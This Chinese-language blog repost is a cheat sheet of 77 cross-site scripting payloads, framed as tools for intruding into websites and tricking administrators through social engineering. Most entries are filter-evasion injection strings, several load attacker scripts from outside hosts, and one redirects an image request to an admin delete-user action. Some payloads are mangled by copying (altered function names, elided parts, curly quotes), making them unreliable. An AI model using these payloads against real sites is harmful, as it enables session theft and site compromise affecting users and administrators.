? ? 關于XSS Shell,到這里就算介紹完了。我不得不說,它是一款很不錯的攻擊軟件,為我們提供了一種新的方式和思路,也大大方便了我們以后在入侵中的使用,有興趣的朋友可以自己試試看。
========
77種網站XSS跨站攻擊腳本語法
https://www.exehack.net/867.htmlXSS又叫CSS (Cross-Site Script) ,跨站腳本攻擊。惡意攻擊者往Web頁面里插入惡意html代碼
當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。
XSS分兩類:
一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。
另一類則是來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。
如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然后構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標服務器的管理員打開
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG標簽XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG標簽無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG標簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分號)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG標簽
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode標簽(計算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼(計算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode編碼是沒有分號的(計算器)
<IMG SRC=jav..省略..S')>
(10)十六進制編碼也是沒有分號(計算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式標簽,將Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式編碼標簽,將Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式換行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回車
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解決限制字符(要求同頁面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.zoyzo’</script>
<script>z=z+’.cn/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMG SRC=javascript:alert(”XSS”)>”;’ > out
(18)空字符2,空字符在國內基本沒效果.因為沒有地方可以利用
perl -e ‘print “<SCRIPT>alert(”XSS”)</SCRIPT>”;’ > out
(19)Spaces和meta前的IMG標簽
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(23)雙開括號
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)無結束腳本標記2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半開的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)雙開角括號
<iframe src=http://3w.org/XSS.html>
(28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
[code]”;alert(‘XSS’);//
(30)結束Title標簽
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY標簽
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)遠程樣式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META鏈接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE屬性分拆表達
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(組成:開角號和一個字母開頭)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED標簽,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混進你XSS的代碼
a=”get”;
b=”URL(”";
c=”javascript:”;
d=”alert(‘XSS’);”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必須和你的XSS載體在一臺服務器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果過濾了你的JS你可以在圖片里添加JS代碼來利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可執行任意命令
<IMG SRC=”http://www.zoyzo.cn/a.php?a=b”>
(60)IMG嵌入式命令(a.jpg在同服務器)
Redirect 302 /a.jpg http://www.zoyzo.cn/admin.asp&deleteuser
(61)繞符號過濾
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
(66)
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
(68)URL繞行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL編碼
<A HREF=”http://3w.org”>XSS</A>
(70)IP十進制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六進制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八進制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合編碼
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)節省[http:]
<A HREF=”//www.exehack.net/”>XSS</A>
(75)節省[www]
<A HREF=”https://www.exehack.net/”>XSS</A>
(76)絕對點絕對DNS
<A HREF=”https://www.exehack.net./”>XSS</A>
(77)javascript鏈接
<A HREF=”javascript:document.location=’https://www.exehack.net/’”>XSS</A>
========
總結
- 上一篇: VS 2010 IDE 宏学习总结
- 下一篇: Python文件操作学习总结